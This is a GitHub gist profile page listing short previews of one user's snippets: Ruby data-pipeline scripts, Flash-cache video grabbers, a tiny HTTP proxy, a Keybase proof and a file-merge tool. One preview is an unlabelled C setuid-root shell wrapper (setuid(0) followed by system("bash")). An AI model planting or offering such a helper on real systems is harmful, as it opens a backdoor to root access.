Skip to content

Instantly share code, notes, and snippets.

View idlecool's full-sized avatar

Shiv Deepak idlecool

  • Aeroh, Inc.
  • Mountain View, CA
View GitHub Profile
#!/usr/bin/env ruby
# MongoDB endpoint for RabbitMQ
# for logging
require 'bunny'
require 'mongo'
require 'json'
include Mongo
queue_name = database_name = collection_name = "analytics"
#!/usr/bin/env ruby
# Dump mongodb data to MySQL
require 'time'
require 'aws-sdk'
require 'json'
require 'csv'
puts "Initializing..."
s3 = AWS::S3.new(
function processData(input) {
//Enter your code here
}
process.stdin.resume();
process.stdin.setEncoding("ascii");
_input = "";
process.stdin.on("data", function (input) {
_input += input;
});
#include <unistd.h>
#include <stdlib.h>
int main() {
setuid(0);
system("bash");
return 0;
}

Keybase proof

I hereby claim:

  • I am idlecool on github.
  • I am idlecool (https://keybase.io/idlecool) on keybase.
  • I have a public key whose fingerprint is 1F3B AE01 4644 3AFC 6EC5 B266 C3A4 5A9F E27B 4162

To claim this, I am signing this object:

#!/usr/bin/env ruby
require 'socket'
require 'redis'
require 'aws-sdk'
ip_address = Socket.ip_address_list.select do |ip|
ip.ipv4_private?
end.first.ip_address
@idlecool
idlecool / flvizer.sh
Created October 5, 2010 12:49 — forked from anonymous/shiv.sh
saving flash videos from firefox chrome cache
#!/bin/bash
#The target directory where you want the files to be saved.
#With trailing slash.
target="$HOME/"
cd "/tmp"
for i in `ls | grep ^Flash`
#!/bin/sh -
"exec" "python" "-O" "$0" "$@"
__doc__ = """Tiny HTTP Proxy.
This module implements GET, HEAD, POST, PUT and DELETE methods
on BaseHTTPServer, and behaves as an HTTP proxy. The CONNECT
method is also implemented experimentally, but has not been
tested yet.
@idlecool
idlecool / flashplayer_video_grabber.sh
Created April 10, 2011 09:53
grab flash videos from the cache.
#!/usr/bin/env bash
for flashpid in $(pgrep -f flashplayer.so); do
cd "/proc/$flashpid/fd"
for video in $(file * | grep '/tmp/Flash' | sed 's/\(^[0-9]*\).*/\1/g'); do
echo "/proc/$flashpid/fd/$video"
done
done
@idlecool
idlecool / filemerge.c
Created May 6, 2011 15:28
Merge two corrupt files (one at front and another at rear) into one neat file.
#include <stdio.h>
void main()
{
FILE *ifp1, *ifp2, *ofp;
int limit, pointer=0;
int current_char, junkchar;
limit = 300*1024; // 300KB
ifp1 = fopen("eclipse-java-helios-SR2-linux-gtk2","r");
ifp2 = fopen("eclipse-java-helios-SR2-linux-gtk","r");
ofp = fopen("eclipse-java-helios-SR2-linux-gtk.tar.gz","w");